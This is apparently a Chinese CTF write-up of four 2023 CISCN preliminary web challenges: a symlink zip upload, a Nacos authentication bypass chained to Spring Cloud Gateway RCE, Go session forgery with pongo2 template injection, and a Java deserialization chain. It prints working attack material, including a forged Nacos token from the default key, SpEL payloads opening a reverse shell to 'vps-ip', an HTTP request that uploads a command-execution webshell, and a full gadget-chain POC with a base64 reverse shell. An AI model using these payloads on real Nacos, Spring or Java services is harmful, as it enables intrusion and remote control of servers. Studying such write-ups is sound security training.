2023CISCN初赛
Unzip
题型:文件上传(软连接)

点击上传,跳转到upload.php,高亮源码

软连接

依次上传 1.zip、2.zip

BackendService
题型:nacos身份认证漏洞+Nacos结合Spring Cloud Gateway RCE利用
nacos身份认证漏洞
这里用的 QVD-2023-6271 nacos token.secret.key身份认证绕过漏洞
影响版本:0.1.0<= Nacos<= 2.2.0

默认密钥
1
| SecretKey012345678901234567890123456789012345678901234567890123456789
|
exp为时间戳,大于当前时间即可

发送到重放模块,添加Authorization: Bearer
1
| Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MjU1NjAyODgwMH0.qortgrr-UfhqQ-G9AWstQO-azRecm_b84uonXmYDMqo
|

登入系统

该漏洞在网上公开POC的利用方式是通过/actuator/gateway/routes这个节点进行动态添加路由的,当项目配置文件中配置了以下两行配置时(YAML格式),便会开启该接口:
1 2 3
| management.endpoint.gateway.enabled: true management.endpoints.web.exposure.include: gateway
|

题目中的backcfg服务节点(就是nacos服务本身,两者是同一个机器)加载配置文件的话就可以在控制台创建backcfg.json配置,之后backcfg服务节点就会自动导入配置。Nacos结合Spring Cloud Gateway RCE利用配置文件gateway,如果发现应用未开启Actuator,则结合前文所说的利用响应包增加Header的方式回显,将配置在Nacos中进行修改

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| spring: cloud: gateway: routes: - id: exam order: 0 uri: lb://service-provider predicates: - Path=/echo/** filters: - name: AddResponseHeader args: name: result value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
|


上面是yaml格式,不过很多博客讲要用json格式(json也可以)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| { "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "http://example.com/", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
|
go_session
题型:go的session伪造+pongo2模板注入
没有深入
代码审计
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main
import ( "github.com/gin-gonic/gin" "main/route" )
func main() { r := gin.Default() r.GET("/", route.Index) r.GET("/admin", route.Admin) r.GET("/flask", route.Flask) r.Run("0.0.0.0:80") }
|
route.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package route
import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" )
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != nil { session.Values["name"] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, ") }
func Admin(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
复现过程
伪造session
修改session.Values["name"] = "admin"


pongo2模板注入
/flask?name=/,引发报错拿到flask源码
1 2 3 4 5 6 7 8 9 10 11 12 13
| from flask import Flask,request app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] return name + 'no ssti'
if __name__== "__main__": app.run(host="127.0.0.1",port=5000,debug=True)
|
这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效,debug模式下的热加载替换flask源码实现RCE,要用到SaveUploadedFile方法实现任意文件写{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
但这里要注意参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于”file”,gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值。(还有其他方法,如Request.Host()、Request.UA()等)
因为要从Referer头中获取源码路径,故添加Referer: /app/server.py,且上传文件提交表单需要Content-Type 请求,同时需要边界字符串分割(可自定义),故添加Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8ALIn5Z2C3VlBqND
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 Host: 859997a4-b46a-4a5c-b034-448e90505aa5.challenge.ctf.show Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Referer: /app/server.py Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND Cookie: session-name=MTcxMTUzODU2MXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXyB-2MEmWBEhT2LmkrXFrKm9hHzDFKVLoIWHcrKauUlWQ== Connection: close Content-Length: 429
------WebKitFormBoundary8ALIn5Z2C3VlBqND Content-Disposition: form-data; name="n"; filename="1.py" Content-Type: text/plain
from flask import * import os app = Flask(__name__)
@app.route('/') def index(): name = request.args['name'] file=os.popen(name).read() return file
if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True) ------WebKitFormBoundary8ALIn5Z2C3VlBqND--
|

Fianl,/flask?name=?name=env
deserbug
题型:Java反序列化 C
附件中可以看到两个依赖,分别是common-colletions-3.2.2
和hutool-all-5.8.18
CC3.2.2
,比CC3.1.1
多了一个checkUnsafeSerialization
函数,对序列化的类进行了检查,禁止一些类的序列化:
1 2 3 4 5 6 7 8
| WhileClosure CloneTransformer ForClosure InstantiateFactory InstantiateTransformer InvokerTransformer PrototypeCloneFactory PrototypeSerializationFactory
|
源码,MyExpect类,Testapp类
MyExpect.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception { private Class[] typeparam; private Object[] typearg; private Class targetclass; public String name; public String anyexcept; public Class getTargetclass() { return this.targetclass; } public void setTargetclass(Class targetclass) { this.targetclass = targetclass; } public Object[] getTypearg() { return this.typearg; } public void setTypearg(Object[] typearg) { this.typearg = typearg; } public Object getAnyexcept() throws Exception { Constructor con = this.targetclass.getConstructor(this.typeparam); return con.newInstance(this.typearg); } public void setAnyexcept(String anyexcept) { this.anyexcept = anyexcept; } public Class[] getTypeparam() { return this.typeparam; } public void setTypeparam(Class[] typeparam) { this.typeparam = typeparam; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } }
|
Testapp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.app;
import cn.hutool.http.ContentType; import cn.hutool.http.HttpUtil; import cn.hutool.http.server.HttpServerRequest; import cn.hutool.http.server.HttpServerResponse; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64;
public class Testapp { public static void main(String[] args) { HttpUtil.createServer(8888) .addAction("/", (request, response) -> { String bugstr = request.getParam("bugstr"); String result = ""; if (bugstr == null) response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString()); try { byte[] decode = Base64.getDecoder().decode(bugstr); ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode)); Object object = inputStream.readObject(); result = object.toString(); } catch (Exception e) { Myexpect myexpect = new Myexpect(); myexpect.setTypeparam(new Class[] { String.class }); myexpect.setTypearg((Object[])new String[] { e.toString() }); myexpect.setTargetclass(e.getClass()); try { result = myexpect.getAnyexcept().toString(); } catch (Exception ex) { result = ex.toString(); } } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
|
getAnyexcept()
方法中存在类实例化的条件,这与某条CC链中,要使用InstantiateTransformer#transform
中的代码类似,再看Web页面接收bugstr
参数,经过base64解码转化为对象流后直接进行了readObject
进行反序列化,因此这里肯定是要通过CC链+getAnyexcept()
来触发漏洞

提示:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
通过hutools.put
返回能够触发getAnyexcept
,通过这里就可以串起CC
链子,getAnyexcept
实例化TrAXFilter
,接而触发templates
加载字节码触发RCE
LazyMap
中,LazyMap#get
是可以触发map.put
方法从而触发cn.hutool.json.JSONObject.put
方法
1
| HashMap#readObject()->HashMap#hash()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()->cn.hutool.json.JSONObject.put()->Myexpect#getAnyexcept()->TrAXFilter#constructor()->TemplatesImpl#newTransformer()->Runtime.exec()
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package com.app;
import cn.hutool.json.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.util.Base64; import java.util.HashMap; import java.lang.reflect.Field;
public class POC { public static void main(String[] args) throws Exception { byte[] bytes = getTemplates(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "2"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[]{Templates.class}); myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject(); ConstantTransformer transformer = new ConstantTransformer(1); LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "111");
HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, "2"); jsonObject.remove("111"); setFieldValue(transformer, "iConstant", myexpect); byte[] serbyte =serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serbyte)); } public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); return byteArrayOutputStream.toByteArray(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("Chiikawa"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMtaXAvNjY2NiAwPiYgMQ==}|{base64,-d}|{bash,-i})\")"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } }
|
URL编码下

